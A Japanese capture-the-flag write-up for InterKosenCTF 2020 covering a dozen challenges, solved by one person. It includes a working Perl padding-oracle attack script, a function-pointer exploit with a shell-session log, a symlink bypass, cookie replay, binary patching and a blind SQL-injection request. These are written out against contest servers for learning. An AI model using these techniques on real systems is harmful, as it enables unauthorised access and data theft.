InterKosenCTF 2020 writeup

[InterKosenCTF 2020](https://score.kosenctf.com/index.html#/) に1人チームで参加しました。
12問 (Welcome, Surveyを含む) を解くことができ、
186チーム (正の点数：133チーム、WelcomeとSurvey以外を正解：76チーム) 中16位でした。
![成績](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/16840196-2e2f-fec7-e7c5-9d57a041a6c7.png)

問題は以下で公開されているらしい。
[theoremoon/InterKosenCTF2020-challenges](https://github.com/theoremoon/InterKosenCTF2020-challenges)

# 解けた問題

## matsushima2

Webブラウザ上でブラックジャック(トランプのゲーム)ができる。
勝つとチップが2倍になり、負けるとチップが全額没収になる条件で、
最初のチップ100枚の状態から999999枚以上にできればflagが得られそうである。
ゲームの状態はCookieに保存され、`jwe`の`HS256`による署名がつけられている。
[JWS 実装時に作りがちな脆弱性パターン - OAuth.jp](https://oauth.jp/blog/2015/03/16/common-jws-implementation-vulnerability/)
というのがあったが、ここで述べられているalgをnoneにするのは効かなかったし、
最初から共通鍵暗号方式が使われているので「共通鍵暗号方式に差し替える」というのもできない。

さて、ここで2個のことに注目した。

まず、`HS256`はHMAC系の署名らしい。
HMACといえばTwitter APIでも使われているが、Twitter APIとこの問題の違いは何か？
→ Twitter APIではtimestampを要求されるが、この問題では要求されない！

そして、こういうランダム要素のあるゲームで、(不正に)いい結果を得るにはどうするといいか？
→ 選択の直前でクイックセーブしておいて、結果が悪かったらクイックロードする！

というわけで、この問題で使われている状態にはtimestampが含まれていないので、
コピー・ペーストによりクイックセーブ・クイックロードが可能なのである。
具体的には、以下のように進めていくとよい。

1. 開発者ツールなど、Cookieの値を操作できるツールを開いておき、まずは普通にゲームを開始する。
2. ゲームに勝ったら、NEXT GAMEを押した後、Cookieの値をコピー(クイックセーブ)する。
3. ゲームに負けたら、RESETを押した後、勝った後のCookieの値をコピーしていればペースト(クイックロード)する。  
   ペーストした後HITやSTANDを押すと、コピーした状態の次から再開できる。

```
KosenCTF{r3m3mb3r_m475u5him4}
```

## Welcome

競技開始時に、Discordの`#announcement`チャンネルにflagが投稿された。

```
KosenCTF{w31c0m3_and_13ts_3nj0y_the_party!!}
```

## pash

SSHのサーバー情報が与えられる。
この情報を用いてログインすると、簡易的な`ls`コマンド、`cat`コマンド、`pwd`コマンドなどが使えるシェルを操作できる。

`ls`を実行すると、以下の出力が得られる。なお、ここでの`ls`は引数を受け付けない。

```
total 424K
dr-xr-x--- 1 root pwn   4.0K Sep  3 16:04 .
drwxr-xr-x 1 root root  4.0K Sep  3 16:04 ..
-rw-r--r-- 1 root pwn     61 Sep  3 16:04 .bash_profile
-r--r----- 1 root admin   49 Sep  3 14:49 flag.txt
-r-xr-sr-x 1 root admin 403K Sep  3 14:49 pash
-rw-rw-r-- 1 root pwn   2.4K Sep  3 14:49 pash.rs
```

`cat pash.rs`を実行するとこのシェルのソースコードと推測されるものが得られるが、
`cat flag.txt`は拒否される。

また、`pwd`を実行すると、`/home/pwn`という出力が得られる。

SSH接続ができるのでSCPも使え、`pash.rs`などはダウンロードできたが、`flag.txt`のダウンロードは拒否された。

さて、SCPからの`flag.txt`へのアクセスはパーミッションで弾いているようだが、
シェルからの`flag.txt`へのアクセスは指定されたパスを見て弾いているようである。
すなわち、シェルから別名で`flag.txt`にアクセスできればアクセスできそうである。

これを実現するために、まずは[WinSCP](https://winscp.net/eng/docs/lang:jp)でSFTPを用いて指定のサーバーに接続し、`/tmp`に移動する。
このとき、ファイルの一覧が取得できないというようなメッセージが出るが無視し、
ファイル一覧の部分を右クリックしてリンク(シンボリックリンク)を作る。
「リンク(ショートカット)ファイル名」は適当な名前を設定し、
「リンク(ショートカット)先」を`/home/pwn/flag.txt`とする。
その後シェルに戻り、`cat /tmp/(設定した適当な名前)`を実行すると、`flag.txt`の内容が出力される。

```
KosenCTF{d1d_u_n0t1c3_th3r3_3x1sts_2_s0lut10ns?}
```

## trilemma

以下のソースコードと、3個のELFファイル`libcitizen.so`、`libemperor.so`、`libslave.so`が与えられた。

```main.c
/**
   $ gcc main.c -L./ -lemperor -lcitizen -lslave
   $ LD_LIBRARY_PATH=./ ./a.out
 */
#include <stdio.h>

char *emperor_flag(void);
char *citizen_flag(void);
char *slave_flag(void);

int main(void) {
  printf("The flag is %s%s%s\n", emperor_flag(), citizen_flag(), slave_flag());
  return 0;
}
```

この4個のファイルを[CS50 IDE](https://ide.cs50.io/)にアップロードし、書いてあるとおりに実行してみると、

```
[libslave.so] Citizen despises slave.
```

と出力された。
`libslave.so`をTDM-GCCのobjdumpで逆アセンブルして見てみると、
以下のような何かをチェックしたあと何かを出力して終了している部分があったので、
とりあえず何も考えずに0x90(NOP)で埋めて潰した。
以下の例ではa68～a94を潰した。

```
 a66:	74 2d                	je     a95 <slave_flag+0x73>
 a68:	48 8b 05 89 15 20 00 	mov    0x201589(%rip),%rax        # 201ff8 <stderr@GLIBC_2.2.5>
 a6f:	48 8b 00             	mov    (%rax),%rax
 a72:	48 89 c1             	mov    %rax,%rcx
 a75:	ba 22 00 00 00       	mov    $0x22,%edx
 a7a:	be 01 00 00 00       	mov    $0x1,%esi
 a7f:	48 8d 3d 1a 02 00 00 	lea    0x21a(%rip),%rdi        # ca0 <_fini+0x10>
 a86:	e8 45 fd ff ff       	callq  7d0 <fwrite@plt>
 a8b:	bf 01 00 00 00       	mov    $0x1,%edi
 a90:	e8 2b fd ff ff       	callq  7c0 <exit@plt>
 a95:	e8 f6 fc ff ff       	callq  790 <emperor_secret@plt>
```

それぞれのELFファイルに4個ずつ同じような部分があったので、何も考えずに全部潰した。
すると、

```
The flag is E5B5ns_with_a_probability_of_four-fifths}
```

のような出力になった。(`E5B5`の部分は毎回変わった)

最初のC言語のソースファイルは関数の引数に関数呼び出しが複数並べられており、
呼び出しの順番が決まっていなくてヤバそうなので、以下の形に書き換えて実行してみた。

```main2.c
/**
   $ gcc main.c -L./ -lemperor -lcitizen -lslave
   $ LD_LIBRARY_PATH=./ ./a.out
 */
#include <stdio.h>

char *emperor_flag(void);
char *citizen_flag(void);
char *slave_flag(void);

int main(void) {
  char* e = emperor_flag();
  char* c = citizen_flag();
  char* s = slave_flag();
  printf("The flag is %s%s%s\n", e, c, s);
  return 0;
}
```

すると、以下のような出力が得られた。 (``(W/f!-Zb`k:``の部分は毎回変わった)

```
The flag is KosenCTF{emperor_wi(W/f!-Zb`k:
```

これらを組み合わせると、以下のflagが得られた。

```
KosenCTF{emperor_wins_with_a_probability_of_four-fifths}
```

## Tip Toe

exeファイルと、それが読み込むと考えられる画像等のデータ、そして`README.txt`が与えられた。
これは、キーボードの操作でキャラクターを動かし、
崩れる床の中に混ざっている崩れない床を渡っていくなどして向こう側に渡るゲームのようであった。
![ゲーム画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/61638409-a7c8-dd6b-3146-70c270c2e968.png)
スタート地点から崩れない床が2個奥方向に連続している配置を引き、その後は適当になんとかする、
という方法でなんとかクリアすると、「Tips: Finish more quickly to get the flag!」と表示された。

`cheat`タグ?が入っているので、
[Cheat Engine](https://www.cheatengine.org/)を用いてキャラクターの座標や経過時間の改変を試みたが、うまくいかなかった。
そこで、プログラムから攻める方針にした。
まず、`WinMain`があるかなと思い、exeファイル内を`Win`で検索したところ、
`HSP3Dish(Windows)`という文字列があったため、このexeファイルは[HSP](https://hsp.tv/)で作られたものであると推測できた。

そこで、[HSPdecom](https://stpr18.blogspot.com/2015/10/hspdecohspelona.html)を用いて逆コンパイルを試みた。
その結果、プログラムのデータである`start.ax`が埋め込まれていること、およびそのサイズはわかったものの、
暗号化されているようでそのまま抽出はできなかった。
ただ、実行時にはメモリに展開されるかもと思い、Cheat Engineを用いてメモリ上から探すことにした。
[OpenHSPのチュートリアル/AXファイル構造 - HSP開発wiki](https://wiki.hsp.moe/OpenHSP%E3%81%AE%E3%83%81%E3%83%A5%E3%83%BC%E3%83%88%E3%83%AA%E3%82%A2%E3%83%AB%EF%BC%8FAX%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E6%A7%8B%E9%80%A0.html)
[plgin_23_header - HSP unofficial manual](https://seesaawiki.jp/hsp_unofficial/d/plgin_23_header)
によると、`start.ax`の先頭には4バイトのマジックナンバーがあることがわかったが、
ここにはその具体的な値は書かれていなかった。
実際に適当な`start.ax`を作って確認すると、マジックナンバーは`48 53 50 33` (`HSP3`) であるとわかった。
これをCheat Engineで探すと見つかり、メモリ上の指定の範囲をファイルに保存する機能を用いて抽出することができた。
これをHSPdecomに食わせることで、一部不明な命令が残ったものの、大部分の逆コンパイルにも成功した。

まず、逆コンパイル結果のコードの中に

```
dialog "argv[1]='debug' : debug mode activated", 0, "Developer Mode"
```

という部分があったため、exeファイルの引数に`debug`を入れて起動すると、
以下のような画面になり、どこが崩れない床かがわかりやすくなった。 (緑っぽい部分が崩れない床)
![デバッグモードのゲーム画面](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/971f6b41-d56b-86a2-7fde-ac92a2dab30d.png)
これでクリアはしやすくなったが、普通にクリアしてもflagは得られないようである。
また、逆コンパイル結果のflagを生成している部分には不明な命令があり、抜き出してもうまくflagは得られなそうだった。

そこで、プログラムを改変してflagを得ることにした。
逆コンパイル結果の中に

```
if ( var_26 < 100 ) {
	newmod var_31, modflag, "Let's", "other", "than"
	delmod var_31
}
else {
	mes "Tips: Finish more quickly to get the flag!"
}
```

という部分があったので、
この判定を書き換えて`var_26` (ゲームが進むにつれてどんどん増える)が100「超」のときにflagが表示されるようにする。
HSPdecomに付属する`Dictionary.csv`の情報と、不明な命令の表現から推測すると、
`mes`命令のバイナリ表現は`09 20 0F 00`であるとわかる。
これを抽出した`start.ax`からバイナリエディタで検索すると、
逆コンパイル結果中の`mes`命令の数と同じ7個見つかり、上記の部分の`mes`命令はその中の最後のものである。
具体的には、`start.ax`ファイルの`0x072A`バイト目(0-origin)である。
以下は、`start.ax`ファイルのこの周辺の部分である。

```
       0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F
06F0  50 00 0B 20 00 00 19 00 01 00 1A 00 04 00 64 00
0700  00 00 0B 00 0F 20 12 00 01 00 1F 00 05 40 00 00
0710  02 50 6B 01 02 50 71 01 02 50 77 01 0F 20 14 00
0720  01 00 1F 00 0B 20 01 00 04 00 09 20 0F 00 02 10
0730  7C 01 09 20 1B 00 04 10 01 00 0F 20 08 00 04 00
```

さらに、同様に`Dictionary.csv`を参照すると、`<`演算子は`0B`を含む表現で表されそうである。
先程の`mes`命令の手前を探すと、0x0702バイト目(0-origin)に`0B`があり、
これを`>`演算子を表す`0A`に書き換えればよさそうである。
ただ、ファイルを書き換える方法ではうまくいかなかった。
実際にHSPで適当なexeを作成して暗号化の有無による違いを調べ、埋め込まれた部分を書き換えたが、
「startup failed」と出てしまい、起動できなかった。

そこで、Cheat Engineでメモリ上のプログラムデータを書き換えることにした。
先程調べた、暗号化がかかっていない状態でメモリに置かれた`start.ax`のデータを書き換えたが、効果が得られなかった。
そこで、この周辺のプログラムデータでメモリ上を検索したところ、
同じようなデータがもう1箇所あることがわかった。
ここのデータを書き換えることで、実際に実行するプログラムを変えることができ、flagを得ることができた。

```
KosenCTF{Let's_play_a_game_other_than_CTF}
```

## harmagedon

ELFファイルが与えられたのでTDM-GCCのobjdumpを用いて逆アセンブルすると、以下のようになった。

```

harmagedon_522dd18a97f389cf7b94d7785a1990f9\harmagedon:     file format elf64-x86-64


Disassembly of section .text:

00000000004000b0 <_start>:
  4000b0:	48 31 db             	xor    %rbx,%rbx
  4000b3:	4d 31 d2             	xor    %r10,%r10

00000000004000b6 <f>:
  4000b6:	49 ff c2             	inc    %r10
  4000b9:	b8 7c 7c b7 00       	mov    $0xb77c7c,%eax
  4000be:	48 39 d8             	cmp    %rbx,%rax
  4000c1:	0f 84 da 00 00 00    	je     4001a1 <congratz>
  4000c7:	b8 0b 00 00 00       	mov    $0xb,%eax
  4000cc:	4c 39 d0             	cmp    %r10,%rax
  4000cf:	0f 8c e9 00 00 00    	jl     4001be <goodbye>
  4000d5:	b8 01 00 00 00       	mov    $0x1,%eax
  4000da:	bf 01 00 00 00       	mov    $0x1,%edi
  4000df:	48 be e8 01 60 00 00 	movabs $0x6001e8,%rsi
  4000e6:	00 00 00 
  4000e9:	ba 17 00 00 00       	mov    $0x17,%edx
  4000ee:	0f 05                	syscall 
  4000f0:	b8 01 00 00 00       	mov    $0x1,%eax
  4000f5:	bf 01 00 00 00       	mov    $0x1,%edi
  4000fa:	48 8d b3 3f 02 60 00 	lea    0x60023f(%rbx),%rsi
  400101:	ba 04 00 00 00       	mov    $0x4,%edx
  400106:	0f 05                	syscall 
  400108:	b8 01 00 00 00       	mov    $0x1,%eax
  40010d:	bf 01 00 00 00       	mov    $0x1,%edi
  400112:	48 be ff 01 60 00 00 	movabs $0x6001ff,%rsi
  400119:	00 00 00 
  40011c:	ba 01 00 00 00       	mov    $0x1,%edx
  400121:	0f 05                	syscall 
  400123:	b8 00 00 00 00       	mov    $0x0,%eax
  400128:	bf 00 00 00 00       	mov    $0x0,%edi
  40012d:	48 be 94 57 b5 00 00 	movabs $0xb55794,%rsi
  400134:	00 00 00 
  400137:	ba 02 00 00 00       	mov    $0x2,%edx
  40013c:	0f 05                	syscall 
  40013e:	8a 04 25 94 57 b5 00 	mov    0xb55794,%al
  400145:	48 31 c9             	xor    %rcx,%rcx
  400148:	3a 84 19 3f 02 60 00 	cmp    0x60023f(%rcx,%rbx,1),%al
  40014f:	74 41                	je     400192 <valid>
  400151:	48 ff c1             	inc    %rcx
  400154:	3a 84 19 3f 02 60 00 	cmp    0x60023f(%rcx,%rbx,1),%al
  40015b:	74 35                	je     400192 <valid>
  40015d:	48 ff c1             	inc    %rcx
  400160:	3a 84 19 3f 02 60 00 	cmp    0x60023f(%rcx,%rbx,1),%al
  400167:	74 29                	je     400192 <valid>
  400169:	48 ff c1             	inc    %rcx
  40016c:	3a 84 19 3f 02 60 00 	cmp    0x60023f(%rcx,%rbx,1),%al
  400173:	74 1d                	je     400192 <valid>
  400175:	b8 01 00 00 00       	mov    $0x1,%eax
  40017a:	bf 01 00 00 00       	mov    $0x1,%edi
  40017f:	48 be 00 02 60 00 00 	movabs $0x600200,%rsi
  400186:	00 00 00 
  400189:	ba 0e 00 00 00       	mov    $0xe,%edx
  40018e:	0f 05                	syscall 
  400190:	eb 47                	jmp    4001d9 <e>

0000000000400192 <valid>:
  400192:	48 01 cb             	add    %rcx,%rbx
  400195:	48 ff c3             	inc    %rbx
  400198:	48 c1 e3 02          	shl    $0x2,%rbx
  40019c:	e9 15 ff ff ff       	jmpq   4000b6 <f>

00000000004001a1 <congratz>:
  4001a1:	b8 01 00 00 00       	mov    $0x1,%eax
  4001a6:	bf 01 00 00 00       	mov    $0x1,%edi
  4001ab:	48 be 0f 02 60 00 00 	movabs $0x60020f,%rsi
  4001b2:	00 00 00 
  4001b5:	ba 24 00 00 00       	mov    $0x24,%edx
  4001ba:	0f 05                	syscall 
  4001bc:	eb 1b                	jmp    4001d9 <e>

00000000004001be <goodbye>:
  4001be:	b8 01 00 00 00       	mov    $0x1,%eax
  4001c3:	bf 01 00 00 00       	mov    $0x1,%edi
  4001c8:	48 be 33 02 60 00 00 	movabs $0x600233,%rsi
  4001cf:	00 00 00 
  4001d2:	ba 0c 00 00 00       	mov    $0xc,%edx
  4001d7:	0f 05                	syscall 

00000000004001d9 <e>:
  4001d9:	bf 00 00 00 00       	mov    $0x0,%edi
  4001de:	b8 3c 00 00 00       	mov    $0x3c,%eax
  4001e3:	0f 05                	syscall 
```

また、これとは別に、大量の文字データが埋め込まれていた。

`syscall`が使われているので
[Linux System Call Table for x86 64 · Ryan A. Chapman](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
を参考にC言語で書き下すと、以下のような感じの処理のようである。

```c
#include <stdio.h>
#include <inttypes.h>

extern unsigned char array[]; /* 60023f */

int main(void) {
	char data[4];
	uint64_t rax = 0, rdi = 0, rsi = 0, rcx = 0;
	
	uint64_t rbx = 0, r10 = 0;

	f:
	r10++;
	rax = 0xb77c7c;
	if (rbx == rax) {
		puts("congratz. your choices are the flag");
		return 0;
	}
	if (rax < r10) {
		puts("try harder.");
		return 0;
	}
	/* 4000d5 */
	printf("which is your choice? [");
	/* 4000f0 */
	fwrite(array + rbx, 1, 4, stdout);
	/* 400108 */
	printf("]");
	/* 400123 */
	fgets(data, sizeof(data), stdin);
	rax = (unsigned char)data[0];
	/* 400145 */
	rcx = 0;
	if (array[rcx + rbx] == rax) goto valid;
	rcx++;
	if (array[rcx + rbx] == rax) goto valid;
	rcx++;
	if (array[rcx + rbx] == rax) goto valid;
	rcx++;
	if (array[rcx + rbx] == rax) goto valid;
	/* 400175 */
	puts("invalid choice");
	return 0;

	valid:
	rbx += rcx;
	rbx = (rbx + 1) << 2;
	goto f;

	return 0;
}
```

すなわち、`rbx`に0～3の値を足し、さらに1を足して2ビット左シフトする操作を繰り返すことで、
最終的に`rbx`が`0xb77c7c`になるような足し方を求め、
文字データ中の`rbx`の「1を足して2ビット左シフト」をする前の値が指す場所の文字を読んでいけばいいようである。
実際に手動で逆算していくと、

```
0b101101110111110001111100
+1 *4
0b1011011101111100011110
+2
0b1011011101111100011100
+1 *4
0b10110111011111000110
+2
0b10110111011111000100
+1 *4
0b101101110111110000
+0
0b101101110111110000
+1 *4
0b1011011101111011
+3
0b1011011101111000
+1 *4
0b10110111011101
+1
0b10110111011100
+1 *4
0b101101110110
+2
0b101101110100
+1 *4
0b1011011100
+0
0b1011011100
+1 *4
0b10110110
+2
0b10110100
+1 *4
0b101100
+0
0b101100
+1 *4
0b1010
+2
0b1000
+1 *4
0b01
+1
0b0
```

となり、読むべき位置は

```
0x240
0x249
0x26b
0x2f5
0x51b
0xdb5
0x301c
0xb9ba
0x2e02f
0xb7a05
0x2de15d
```

となる。これらを実際に読むと`Ruktun0rDi3`となり、問題文の指示に従って`KosenCTF{}`で囲むとflag

```
KosenCTF{Ruktun0rDi3}
```

が得られる。

## ciphertexts

大き目の素数`p, q, r`、小さい素数`e1, e2`、flagを変換した`m`を用いて、

```
n1 = p * q
n2 = p * q * r
c1 = (m ** e1) mod n1
c2 = (m ** e2) mod n2
```

を求め、`n1, n2, e1, e2, c1, c2`を出力することを表すソースコードと、これらの値が与えられた。

`n2 = n1 * r`なので、

```
m ** e1 = n1 * x + c1
m ** e2 = n2 * y + c2 = (n1 * r * y) + c2 = n1 * (r * y) + c2
```

と表すことができ、`(m ** e2) % n1 = c2 % n1`といえる。

これは
[RSA暗号運用でやってはいけない n のこと #ssmjp](https://www.slideshare.net/sonickun/rsa-n-ssmjp)
の15スライド目「同一の平文を異なるeで暗号化した暗号文を与えてはいけない」のパターンに該当し、
[Common Modulus Attack - akashisnの日記](https://blog.akashisn.info/entry/2018/08/07/132209)
を用いることで`m`を求めることができる。

あとは、それをやればよい。

```calc.py
# https://qiita.com/drken/items/b97ff231e43bce50199a
def kayu(a, b):
	if b == 0:
		return (1, 0)
	q = a // b
	r = a % b
	ans = kayu(b, r)
	return (ans[1], ans[0] - q * ans[1])

n1 = 112027309284322736696115076630869358886830492611271994068413296220031576824816689091198353617581184917157891542298780983841631012944437383240190256425846911754031739579394796766027697768621362079507428010157604918397365947923851153697186775709920404789709337797321337456802732146832010787682176518192133746223
n2 = 1473529742325407185540416487537612465189869383161838138383863033575293817135218553055973325857269118219041602971813973919025686562460789946104526983373925508272707933534592189732683735440805478222783605568274241084963090744480360993656587771778757461612919160894779254758334452854066521288673310419198851991819627662981573667076225459404009857983025927477176966111790347594575351184875653395185719233949213450894170078845932168528522589013379762955294754168074749
e1 = 745699
e2 = 745709

c1 = 23144512980313393199971544624329972186721085732480740903664101556117858633662296801717263237129746648060819811930636439097159566583505473503864453388951643914137969553861677535238877960113785606971825385842502989341317320369632728661117044930921328060672528860828028757389655254527181940980759142590884230818
c2 = 546013011162734662559915184213713993843903501723233626580722400821009012692777901667117697074744918447814864397339744069644165515483680946835825703647523401795417620543127115324648561766122111899196061720746026651004752859257192521244112089034703744265008136670806656381726132870556901919053331051306216646512080226785745719900361548565919274291246327457874683359783654084480603820243148644175296922326518199664119806889995281514238365234514624096689374009704546

# https://blog.akashisn.info/entry/2018/08/07/132209

c2_2 = c2 % n1
x, y = kayu(e1, e2)

m = (pow(c1, x, n1) * pow(c2_2, y, n1)) % n1

print(hex(m))

def p(x):
	ret = ""
	if x > 0xff:
		ret = p(x // 0x100)
	return ret + chr(x & 0xff)

print(p(m))
```

## padding oracle

TCPサーバーの情報と、そこで動いていると推測できるプログラムのソースコードが与えられる。
プログラムは、まず`flag`をAESで暗号化したものを出力する。
その後、データの入力を受け付け、そのデータをAESでエラーなく復号できれば`True`、できなければ`False`を出力する。
ただし、暗号化は入力文字列の前に`x`個の`x` (`x = 16 - (入力文字列の長さを16で割った余り)`)を繋げたものに対して行い、
復号は復号結果がこの形式になっているかのチェックを含む。
また、AESは`AES.MODE_CBC`が使われている。
[暗号利用モード - Wikipedia](https://ja.wikipedia.org/wiki/%E6%9A%97%E5%8F%B7%E5%88%A9%E7%94%A8%E3%83%A2%E3%83%BC%E3%83%89)
を参照すると、CBCは平文に前の暗号文またはivをxorしたものを暗号化し、
復号する際はAESの復号結果に前の暗号文またはivをxorするという処理である。
~~カルデアボーイズコレクションではない。~~

従って、ivと最初の暗号文ブロック(16バイト)1個を復号することを考えたとき、
ivの最初のバイトを変えるとそれに応じてxor結果である復号結果の最初のバイトも変わる。
そして、このバイトが`01`になると、正しい形式であるとみなされるはずである。
そこで、ivの最初のバイトを全探索し、正しい形式であるとみなされるものを探す。
このとき、もとのivと同じものと、最初のバイトが`01`になるものの2個がヒットするはずである。
もともとの平文(`x`個の`x`を追加した後)の最初のバイトが`01`の時は、1個のみがヒットするはずである。
ただし、最初が`01 02`などの時は2個ヒットし、「もとのivでない方を選ぶ」と間違いになってしまうが、
今回扱う平文(`x`個の`x`を追加する前)は文字列であり、0x01～0x10は含まれないと仮定した。
復号結果の最初のバイトが`01`になるivの最初のバイトがわかったら、
`もとのivの最初 xor AESの出力の最初 = 平文の最初`および`求めたivの最初 xor AESの出力の最初 = 0x01`より、
`AESの出力の最初 = 平文の最初 xor もとのivの最初 = 0x01 xor 求めたivの最初`となり、
`平文の最初 = 0x01 xor 求めたivの最初 xor もとのivの最初`と求まる。

同様に、復号結果の最初のバイトを`02`にするivの最初のバイトは、
`もとのivの最初 xor AESの出力の最初 = 平文の最初`および`次のivの最初 xor AESの出力の最初 = 0x02`より、
`AESの出力の最初 = 平文の最初 xor もとのivの最初 = 0x02 xor 次のivの最初`となり、
`次のivの最初 = 平文の最初 xor もとのivの最初 xor 0x02`と求まる。
これを用いて復号結果の最初のバイトが`02`になるようにし、
復号結果の2番目のバイトが`02`になるようなivの2番目のバイトを全探索することで、
平文の2番目のバイトも求めることができる。

同様に繰り返すことで、このブロックの平文を16バイト全て求めることができる。
2番目の暗号文ブロック以降についても、前の暗号文ブロックをivとして同様に平文を求めることができる。

この実装が以下である。

```attack.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"padding-oracle.kosenctf.com", PeerPort=>13004, Proto=>"tcp");

unless ($sock) {
	print "connect failed\n";
	exit 1;
}

my $start_time = time();

my $ct = <$sock>;
chomp($ct);
my $ctlen = length($ct);
my @ctarr = ();
for (my $i = 0; $i < $ctlen; $i += 2) {
	push(@ctarr, hex(substr($ct, $i, 2)));
}

my @answer = ();

my $offset_begin = @ARGV > 0 ? int($ARGV[0]) + 16 : 16;

my $error = 0;

for (my $offset = $offset_begin; !$error && $offset < @ctarr; $offset += 16) {
	my @target = ();
	my @work = ();
	my @block_answer = ();
	for (my $i = 0; $i < 32; $i++) {
		push(@target, $ctarr[$offset + $i - 16]);
		push(@work, $ctarr[$offset + $i - 16]);
	}
	for (my $t = 0; !$error && $t < 16; $t++) {
		my @ac = ();
		for (my $s = 0; $s < 256; $s++) {
			$work[$t] = $s;
			my $query = "";
			for (my $i = 0; $i < @work; $i++) {
				$query .= sprintf("%02x", $work[$i]);
			}
			print $sock "$query\n";
			my $res = <$sock>;
			if (!$sock || !defined($res)) {
				print "socket error!\n";
				$error = 1;
				last;
			}
			if (substr($res, 0, 1) eq "T") {
				push(@ac, $s);
			}
		}
		my $got = 0;
		if ($t == 0 && @ac == 2) {
			$got = $ac[0] == $target[0] ? $ac[1] : $ac[0];
		} elsif (@ac == 1) {
			$got = $ac[0];
		} else {
			print "error!\n";
			last;
		}
		my $cur_answer = ($t + 1) ^ $got ^ $target[$t];
		push(@answer, $cur_answer);
		push(@block_answer, $cur_answer);
		for (my $i = 0; $i <= $t; $i++) {
			$work[$i] = $block_answer[$i] ^ $target[$i] ^ ($t + 1 + 1);
		}
		printf("%d / %d : %02X\n", $offset + $t + 1 - 16, @ctarr - 16, $cur_answer);
	}
	printf("elapsed time: %d seconds\n", time() - $start_time);
}

if (@answer > 0) {
	for (my $i = $offset_begin > 16 ? 0 : $answer[0]; $i < @answer; $i++) {
		print chr($answer[$i]);
	}
}
print "\n";

close($sock);
```

途中切断されることがあったものの、
コマンドライン引数で開始位置を指定して繰り返すことで、以下の平文を得ることができた。

```
Turkey in de straw, turkey in de hay KosenCTF{0r4c13_5urviv35_57i11_n0w} Turkey in de straw, turkey in de hay
```

余計な部分を省いてflagのみにすると

```
KosenCTF{0r4c13_5urviv35_57i11_n0w}
```

## bitcrypto

TCPサーバーの情報と、そこで動いていると推測できるプログラムのソースコードが与えられる。
プログラムは以下のような処理である。

1. 素数`p, q`、`n = p * q`、これらに依存する「性質のいい値」`z`を生成する。
2. 入力を受け付ける。入力は8文字以内で、キーワード`yoshiking, give me ur flag`に含まれる文字を含んではいけない。
3. 入力のビット表現を、ビットごとの`n`と互いに素な乱数`x`を用いて、
4. ビットが`1`なら`(z * (x*x)) mod n`、`0`なら`(x*x) mod n`の数列で表現したものを出力する。
5. 数列の入力を受け付ける。数列には負の数を含めてはならず、同じ数を複数含んでもいけない。
6. 入力された数列がキーワードを表すものなら、flagを出力する。

`n`はわからないが、数列の解釈には`p`や`q`でのmodをとる計算が用いられており、
値の上限も無いため、数列を生成する時には`n`で割らなくてもよさそうである。

というわけで、以下のようにしてキーワードを表す数列を生成できる。

1. 最初に`q`を入力し、数列をもらう。この数列の最初の値を`k`とおく。  
   `q`のビット表現の最上位の`0`はカットされ、数列の最初の値はビット`1`を表す。
2. キーワードのビット表現を数列に変換する。ビット`0`は`s*s`、ビット`1`は`k*s*s`とする。  
   ここで、`s`は小さい素数であり、2から始めて使うたびに次の素数にする。  
   同じ素数はビット`0`で1回、ビット`1`で1回の2回使える。

こうすることで、ビット`1`を`z * ((x*s)*(x*s))`のような値で表すことができる。
そして、この生成した数列を送ることで、flagが得られる。

```
KosenCTF{yoshiking_is_clever_and_wild_god_of_crypt}
```

## babysort

TCPサーバーの情報、そこで動いていると推測できるELFファイル、
そしてそのソースコードと推測できるC言語のコードが与えられる。
C言語のコードには、以下の配列と`qsort`の比較関数からなる構造体がある。

```c
typedef int (*SORTFUNC)(const void*, const void*);

typedef struct {
  long elm[5];
  SORTFUNC cmp[2];
} SortExperiment;
```

そして、`elm`の5要素にそれぞれ値を`scanf`で読み込んだ後、
比較関数として使う`cmp`の要素の添字を`scanf`で読み込み、それらを用いて`qsort`を実行する。
また、コード中には`/bin/sh`を実行する`win`関数もある。
ELFファイルをTDM-GCCのobjdumpで逆アセンブルして調べたところ、
`win`関数のアドレスは`0x0000000000400787`であった。これを十進数にすると`4196231`である。

これに基づき、`elm`の最初の4要素を適当に入力した後、5要素目に`win`関数のアドレスである`4196231`を入力し、
添字は`-1`を指定することで、比較関数の代わりに`win`関数を実行してくれる。

実際に、これを[TCP/IPテストツール](https://www.vector.co.jp/soft/winnt/net/se411272.html)で「送信データのバイナリ変換」を有効にして行った。
以下はそのログである。

```
接続 pwn.kosenctf.com(9001 )
->受 128.199.127.246(9001 )-*-*- Sort Experiment -*-*-
->受 128.199.127.246(9001 )<LF>elm[0] = 
送-> 128.199.127.246(9001 )0<LF>
->受 128.199.127.246(9001 )elm[1] = 
送-> 128.199.127.246(9001 )0<LF>
->受 128.199.127.246(9001 )elm[2] = 
送-> 128.199.127.246(9001 )0<LF>
->受 128.199.127.246(9001 )elm[3] = 
送-> 128.199.127.246(9001 )0<LF>
->受 128.199.127.246(9001 )elm[4] = 
送-> 128.199.127.246(9001 )4196231<LF>
->受 128.199.127.246(9001 )[0] Ascending / [1] Descending: 
送-> 128.199.127.246(9001 )-1<LF>
送-> 128.199.127.246(9001 )ls<LF>
->受 128.199.127.246(9001 )chall<LF>flag-165fa1768a33599b04fbb4f7a05d0d26.txt<LF>redir.sh<LF>
送-> 128.199.127.246(9001 )cat flag*<LF>
->受 128.199.127.246(9001 )KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}<LF>
送-> 128.199.127.246(9001 )exit<LF>
切断 128.199.127.246(9001 )
```

以下のflagが得られた。

```
KosenCTF{f4k3_p01nt3r_l34ds_u_2_w1n}
```

## limited

ファイル`packet.pcap`が与えられた。
Wiresharkで開くと、主にHTTPの通信記録のようであり、

```
/search.php?keyword=&search_max=%28SELECT+unicode%28substr%28secret%2C+1%2C+1%29%29+FROM+account+WHERE+name%3D%22admin%22%29+%25+19
```

のような特徴的なパスへの`GET`リクエストが多く記録されていた。
これを[`decodeURIComponent()`](https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent)にかけると、以下のようになった。

```
/search.php?keyword=&search_max=(SELECT+unicode(substr(secret,+1,+1))+FROM+account+WHERE+name=\"admin\")+%+19
```

